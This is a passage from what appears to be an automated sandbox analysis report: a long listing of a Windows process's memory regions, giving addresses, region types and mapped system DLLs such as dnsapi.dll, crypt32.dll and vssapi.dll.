"c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4367 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4368 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4369 start_va = 0xbd84730000 end_va = 0xbd847effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd84730000" filename = "" Region: id = 4370 start_va = 0xbd849f0000 end_va = 0xbd84b77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd849f0000" filename = "" Region: id = 4371 start_va = 0xbd84b80000 end_va = 0xbd84d00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd84b80000" filename = "" Region: id = 4372 start_va = 0xbd848f0000 end_va = 0xbd848f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd848f0000" filename = "" Region: id = 4373 start_va = 0xbd84900000 end_va = 0xbd84900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd84900000" filename = "" Region: id = 4374 start_va = 0xbd84910000 end_va = 0xbd84910fff entry_point = 0x0 region_type = private name = "private_0x000000bd84910000" filename = "" Region: id = 4375 start_va = 0xbd84920000 end_va = 0xbd84920fff entry_point = 0x0 region_type = private name = "private_0x000000bd84920000" filename = "" Region: id = 4376 start_va = 0xbd849e0000 end_va = 0xbd849effff entry_point = 0x0 region_type = private name = "private_0x000000bd849e0000" filename = "" Region: id = 4377 start_va = 0xbd84d10000 end_va = 0xbd85109fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd84d10000" filename = "" Region: id = 4380 start_va = 0xbd84930000 end_va = 0xbd849affff entry_point = 0x0 region_type = private name = "private_0x000000bd84930000" filename = "" Region: id = 4381 start_va = 0xbd85110000 end_va = 0xbd8518ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85110000" filename = "" Region: id = 4382 start_va = 0x7ff617378000 end_va = 0x7ff617379fff entry_point = 0x0 region_type = private name = "private_0x00007ff617378000" filename = "" Region: id = 4383 start_va = 0x7ff61737a000 end_va = 0x7ff61737bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61737a000" filename = "" Region: id = 4384 start_va = 0xbd85190000 end_va = 0xbd85464fff entry_point = 0xbd85190000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4388 start_va = 0x7ffd18380000 end_va = 0x7ffd183c1fff entry_point = 0x7ffd18380000 region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll") Region: id = 4397 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4398 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c3a5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 4399 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4400 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4415 start_va = 0x7ffd18220000 end_va = 0x7ffd18286fff entry_point = 0x7ffd18220000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 4437 start_va = 0x7ffd181c0000 end_va = 0x7ffd181c7fff entry_point = 0x7ffd181c0000 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll") Region: id = 4438 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4439 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4440 start_va = 0xbd85470000 end_va = 0xbd854effff entry_point = 0x0 region_type = private name = "private_0x000000bd85470000" filename = "" Region: id = 4441 start_va = 0x7ff617376000 end_va = 0x7ff617377fff entry_point = 0x0 region_type = private name = "private_0x00007ff617376000" filename = "" Region: id = 4442 start_va = 0x7ffd1bea0000 end_va = 0x7ffd1bec2fff entry_point = 0x7ffd1bea10a0 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 4511 start_va = 0xbd854f0000 end_va = 0xbd8556ffff entry_point = 0x0 region_type = private name = "private_0x000000bd854f0000" filename = "" Region: id = 4512 start_va = 0xbd85570000 end_va = 0xbd855effff entry_point = 0x0 region_type = private name = "private_0x000000bd85570000" filename = "" Region: id = 4513 start_va = 0x7ff61724e000 end_va = 0x7ff61724ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61724e000" filename = "" Region: id = 4514 start_va = 0x7ff617374000 end_va = 0x7ff617375fff entry_point = 0x0 region_type = private name = "private_0x00007ff617374000" filename = "" Region: id = 4515 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4516 start_va = 0x7ffd181a0000 end_va = 0x7ffd181b3fff entry_point = 0x7ffd181a1780 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 4517 start_va = 0x7ffd18180000 end_va = 0x7ffd18198fff entry_point = 0x7ffd18181dcc region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 4518 start_va = 0xbd855f0000 end_va = 0xbd8566ffff entry_point = 0x0 region_type = private name = "private_0x000000bd855f0000" filename = "" Region: id = 4519 start_va = 0x7ff61724c000 end_va = 0x7ff61724dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61724c000" filename = "" Region: id = 4520 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 5242 start_va = 0xbd85110000 end_va = 0xbd8518ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85110000" filename = "" Region: id = 5243 start_va = 0xbd85670000 end_va = 0xbd856effff entry_point = 0x0 region_type = private name = "private_0x000000bd85670000" filename = "" Region: id = 5244 start_va = 0x7ff61724a000 end_va = 0x7ff61724bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61724a000" filename = "" Region: id = 5245 start_va = 0x7ff617378000 end_va = 0x7ff617379fff entry_point = 0x0 region_type = private name = "private_0x00007ff617378000" filename = "" Region: id = 5246 start_va = 0xbd856f0000 end_va = 0xbd857bffff entry_point = 0x0 region_type = private name = "private_0x000000bd856f0000" filename = "" Region: id = 5629 start_va = 0xbd856f0000 end_va = 0xbd8576ffff entry_point = 0x0 region_type = private name = "private_0x000000bd856f0000" filename = "" Region: id = 5630 start_va = 0xbd857b0000 end_va = 0xbd857bffff entry_point = 0x0 region_type = private name = "private_0x000000bd857b0000" filename = "" Region: id = 5631 start_va = 0x7ff617248000 end_va = 0x7ff617249fff entry_point = 0x0 region_type = private name = "private_0x00007ff617248000" filename = "" Region: id = 5632 start_va = 0x7ffd158a0000 end_va = 0x7ffd158e7fff entry_point = 0x7ffd158a0000 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll") Region: id = 5635 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5636 start_va = 0xbd857c0000 end_va = 0xbd8583ffff entry_point = 0x0 region_type = private name = "private_0x000000bd857c0000" filename = "" Region: id = 5637 start_va = 0x7ff617246000 end_va = 0x7ff617247fff entry_point = 0x0 region_type = private name = "private_0x00007ff617246000" filename = "" Region: id = 5638 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5700 start_va = 0xbd849b0000 end_va = 0xbd849b0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849b0000" filename = "" Region: id = 5731 start_va = 0xbd85840000 end_va = 0xbd8593ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85840000" filename = "" Region: id = 5782 start_va = 0xbd85940000 end_va = 0xbd859bffff entry_point = 0x0 region_type = private name = "private_0x000000bd85940000" filename = "" Region: id = 5783 start_va = 0x7ff617244000 end_va = 0x7ff617245fff entry_point = 0x0 region_type = private name = "private_0x00007ff617244000" filename = "" Region: id = 5784 start_va = 0x7ffd1c7a0000 end_va = 0x7ffd1c7effff entry_point = 0x7ffd1c7a194c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 5785 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5816 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5817 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5818 start_va = 0xbd859c0000 end_va = 0xbd85b36fff entry_point = 0xbd859c10b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5819 start_va = 0xbd849b0000 end_va = 0xbd849b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd849b0000" filename = "" Region: id = 5820 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5825 start_va = 0xbd849c0000 end_va = 0xbd849c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd849c0000" filename = "" Region: id = 5826 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 6272 start_va = 0x7ffd1a3c0000 end_va = 0x7ffd1a3e3fff entry_point = 0x7ffd1a3c0000 region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll") Region: id = 6307 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6308 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6349 start_va = 0xbd859c0000 end_va = 0xbd85a3ffff entry_point = 0x0 region_type = private name = "private_0x000000bd859c0000" filename = "" Region: id = 6350 start_va = 0x7ff617242000 end_va = 0x7ff617243fff entry_point = 0x0 region_type = private name = "private_0x00007ff617242000" filename = "" Region: id = 6351 start_va = 0x7ffd1a3b0000 end_va = 0x7ffd1a3bdfff entry_point = 0x7ffd1a3b0000 region_type = mapped_file name = "crypttpmeksvc.dll" filename = "\\Windows\\System32\\crypttpmeksvc.dll" (normalized: "c:\\windows\\system32\\crypttpmeksvc.dll") Region: id = 6354 start_va = 0x7ffd1c840000 end_va = 0x7ffd1c863fff entry_point = 0x7ffd1c8478f0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 6355 start_va = 0x7ffd1c800000 end_va = 0x7ffd1c839fff entry_point = 0x7ffd1c825ee0 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 6356 start_va = 0x7ffd1a2f0000 end_va = 0x7ffd1a30efff entry_point = 0x7ffd1a2f0000 region_type = mapped_file name = "cryptcatsvc.dll" filename = "\\Windows\\System32\\cryptcatsvc.dll" (normalized: "c:\\windows\\system32\\cryptcatsvc.dll") Region: id = 6373 start_va = 0x7ffd1a280000 end_va = 0x7ffd1a2e1fff entry_point = 0x7ffd1a280000 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll") Region: id = 6377 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6378 start_va = 0x7ffd195e0000 end_va = 0x7ffd19646fff entry_point = 0x7ffd195e10b4 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 6379 start_va = 0x7ffd1a220000 end_va = 0x7ffd1a27bfff entry_point = 0x7ffd1a224070 region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 6380 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6382 start_va = 0x7ffd1a150000 end_va = 0x7ffd1a214fff entry_point = 0x7ffd1a15109c region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 6433 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6434 start_va = 0xbd85a40000 end_va = 0xbd85abffff entry_point = 0x0 region_type = private name = "private_0x000000bd85a40000" filename = "" Region: id = 6435 start_va = 0xbd85ac0000 end_va = 0xbd85b3ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85ac0000" filename = "" Region: id = 6436 start_va = 0x7ff61723e000 end_va = 0x7ff61723ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61723e000" filename = "" Region: id = 6437 start_va = 0x7ff617240000 end_va = 0x7ff617241fff entry_point = 0x0 region_type = private name = "private_0x00007ff617240000" filename = "" Region: id = 6438 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6439 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6440 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6441 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6442 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6443 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6444 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6445 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6446 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6447 start_va = 0xbd849d0000 end_va = 0xbd849d0fff entry_point = 0x0 region_type = private name = "private_0x000000bd849d0000" filename = "" Region: id = 6448 start_va = 0xbd85b40000 end_va = 0xbd85cdffff entry_point = 0x0 region_type = private name = "private_0x000000bd85b40000" filename = "" Region: id = 6451 start_va = 0xbd85b40000 end_va = 0xbd85c3ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85b40000" filename = "" Region: id = 6452 start_va = 0xbd85cd0000 end_va = 0xbd85cdffff entry_point = 0x0 region_type = private name = "private_0x000000bd85cd0000" filename = "" Region: id = 6455 start_va = 0x7ffd1a110000 end_va = 0x7ffd1a122fff entry_point = 0x7ffd1a110000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 6518 start_va = 0x7ffd18530000 end_va = 0x7ffd186affff entry_point = 0x7ffd18530000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 6519 start_va = 0x7ffd18db0000 end_va = 0x7ffd18dc5fff entry_point = 0x7ffd18db0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 6520 start_va = 0x7ffd19290000 end_va = 0x7ffd19298fff entry_point = 0x7ffd1929102c region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 6521 start_va = 0x7ffd18970000 end_va = 0x7ffd18989fff entry_point = 0x7ffd18980f04 region_type = mapped_file name = "bcd.dll" filename = "\\Windows\\System32\\bcd.dll" (normalized: "c:\\windows\\system32\\bcd.dll") Region: id = 6551 start_va = 0xbd856f0000 end_va = 0xbd8576ffff entry_point = 0x0 region_type = private name = "private_0x000000bd856f0000" filename = "" Region: id = 6552 start_va = 0x7ff617248000 end_va = 0x7ff617249fff entry_point = 0x0 region_type = private name = "private_0x00007ff617248000" filename = "" Region: id = 6556 start_va = 0x7ffd18d10000 end_va = 0x7ffd18d26fff entry_point = 0x7ffd18d11030 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 6557 start_va = 0x7ffd18ec0000 end_va = 0x7ffd18eddfff entry_point = 0x7ffd18ec205c region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 6558 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6559 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6560 start_va = 0xbd85c40000 end_va = 0xbd85cbffff entry_point = 0x0 region_type = private name = "private_0x000000bd85c40000" filename = "" Region: id = 6561 start_va = 0x7ff61723c000 end_va = 0x7ff61723dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61723c000" filename = "" Region: id = 6562 start_va = 0x7ffd19300000 end_va = 0x7ffd19377fff entry_point = 0x7ffd19301420 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 6567 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 6568 start_va = 0x7ffd18350000 end_va = 0x7ffd1835dfff entry_point = 0x7ffd18356f88 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 6576 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 6581 start_va = 0xbd85ac0000 end_va = 0xbd85b3ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85ac0000" filename = "" Region: id = 6582 start_va = 0x7ff61723e000 end_va = 0x7ff61723ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61723e000" filename = "" Region: id = 6583 start_va = 0x7ffd184e0000 end_va = 0x7ffd1852bfff entry_point = 0x7ffd184e0000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 6602 start_va = 0xbd85ce0000 end_va = 0xbd85d5ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85ce0000" filename = "" Region: id = 6603 start_va = 0x7ff61723a000 end_va = 0x7ff61723bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61723a000" filename = "" Region: id = 6605 start_va = 0xbd85770000 end_va = 0xbd85770fff entry_point = 0x0 region_type = private name = "private_0x000000bd85770000" filename = "" Region: id = 6633 start_va = 0xbd85d60000 end_va = 0xbd85ddffff entry_point = 0x0 region_type = private name = "private_0x000000bd85d60000" filename = "" Region: id = 6634 start_va = 0xbd85de0000 end_va = 0xbd85edffff entry_point = 0x0 region_type = private name = "private_0x000000bd85de0000" filename = "" Region: id = 6635 start_va = 0x7ff617238000 end_va = 0x7ff617239fff entry_point = 0x0 region_type = private name = "private_0x00007ff617238000" filename = "" Region: id = 6636 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 6637 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 6669 start_va = 0xbd85ee0000 end_va = 0xbd85f5ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85ee0000" filename = "" Region: id = 6670 start_va = 0x7ff617236000 end_va = 0x7ff617237fff entry_point = 0x0 region_type = private name = "private_0x00007ff617236000" filename = "" Region: id = 6678 start_va = 0xbd85f60000 end_va = 0xbd8604ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85f60000" filename = "" Region: id = 6680 start_va = 0xbd85770000 end_va = 0xbd85770fff entry_point = 0x0 region_type = private name = "private_0x000000bd85770000" filename = "" Region: id = 6688 start_va = 0xbd86050000 end_va = 0xbd8614ffff entry_point = 0x0 region_type = private name = "private_0x000000bd86050000" filename = "" Region: id = 6835 start_va = 0xbd85770000 end_va = 0xbd85776fff entry_point = 0x0 region_type = private name = "private_0x000000bd85770000" filename = "" Region: id = 7278 start_va = 0xbd85110000 end_va = 0xbd8518ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85110000" filename = "" Region: id = 7279 start_va = 0x7ff617378000 end_va = 0x7ff617379fff entry_point = 0x0 region_type = private name = "private_0x00007ff617378000" filename = "" Region: id = 7295 start_va = 0xbd85110000 end_va = 0xbd8518ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85110000" filename = "" Region: id = 7296 start_va = 0xbd859c0000 end_va = 0xbd85a3ffff entry_point = 0x0 region_type = private name = "private_0x000000bd859c0000" filename = "" Region: id = 7297 start_va = 0x7ff617242000 end_va = 0x7ff617243fff entry_point = 0x0 region_type = private name = "private_0x00007ff617242000" filename = "" Region: id = 7298 start_va = 0x7ff617378000 end_va = 0x7ff617379fff entry_point = 0x0 region_type = private name = "private_0x00007ff617378000" filename = "" Region: id = 7560 start_va = 0xbd85f60000 end_va = 0xbd85fdffff entry_point = 0x0 region_type = private name = "private_0x000000bd85f60000" filename = "" Region: id = 7561 start_va = 0xbd86040000 end_va = 0xbd8604ffff entry_point = 0x0 region_type = private name = "private_0x000000bd86040000" filename = "" Region: id = 7562 start_va = 0x7ff617234000 end_va = 0x7ff617235fff entry_point = 0x0 region_type = private name = "private_0x00007ff617234000" filename = "" Region: id = 7584 start_va = 0xbd86150000 end_va = 0xbd861cffff entry_point = 0x0 region_type = private name = "private_0x000000bd86150000" filename = "" Region: id = 7585 start_va = 0x7ff617232000 end_va = 0x7ff617233fff entry_point = 0x0 region_type = private name = "private_0x00007ff617232000" filename = "" Region: id = 7669 start_va = 0xbd85110000 end_va = 0xbd8518ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85110000" filename = "" Region: id = 7670 start_va = 0x7ff617378000 end_va = 0x7ff617379fff entry_point = 0x0 region_type = private name = "private_0x00007ff617378000" filename = "" Region: id = 7671 start_va = 0xbd861d0000 end_va = 0xbd8624ffff entry_point = 0x0 region_type = private name = "private_0x000000bd861d0000" filename = "" Region: id = 7672 start_va = 0x7ff617230000 end_va = 0x7ff617231fff entry_point = 0x0 region_type = private name = "private_0x00007ff617230000" filename = "" Region: id = 7754 start_va = 0xbd85110000 end_va = 0xbd8518ffff entry_point = 0x0 region_type = private name = "private_0x000000bd85110000" filename = "" Region: id = 7755 start_va = 0x7ff617378000 end_va = 0x7ff617379fff entry_point = 0x0 region_type = private name = "private_0x00007ff617378000" filename = "" Region: id = 8445 start_va = 0xbd85780000 end_va = 0xbd85781fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd85780000" filename = "" Region: id = 10625 start_va = 0x7ffd15360000 end_va = 0x7ffd15610fff entry_point = 0x7ffd153d5bec region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 10626 start_va = 0xbd86250000 end_va = 0xbd8634ffff entry_point = 0x0 region_type = private name = "private_0x000000bd86250000" filename = "" Region: id = 10627 start_va = 0xbd85780000 end_va = 0xbd85780fff entry_point = 0x0 region_type = private name = "private_0x000000bd85780000" filename = "" Region: id = 10628 start_va = 0xbd85790000 end_va = 0xbd85790fff entry_point = 0x0 region_type = private name = "private_0x000000bd85790000" filename = "" Region: id = 10629 start_va = 0xbd859c0000 end_va = 0xbd85a1ffff entry_point = 0x0 region_type = private name = "private_0x000000bd859c0000" filename = "" Region: id = 10630 start_va = 0xbd859c0000 end_va = 0xbd859cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd859c0000" filename = "" Region: id = 10631 start_va = 0xbd859d0000 end_va = 0xbd859dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd859d0000" filename = "" Region: id = 10632 start_va = 0xbd859e0000 end_va = 0xbd859effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd859e0000" filename = "" Region: id = 10633 start_va = 0xbd859f0000 end_va = 0xbd859fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd859f0000" filename = "" Region: id = 10634 start_va = 0xbd85a00000 end_va = 0xbd85a0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd85a00000" filename = "" Region: id = 10635 start_va = 0xbd85a10000 end_va = 0xbd85a1ffff entry_point = 0x0 region_type = 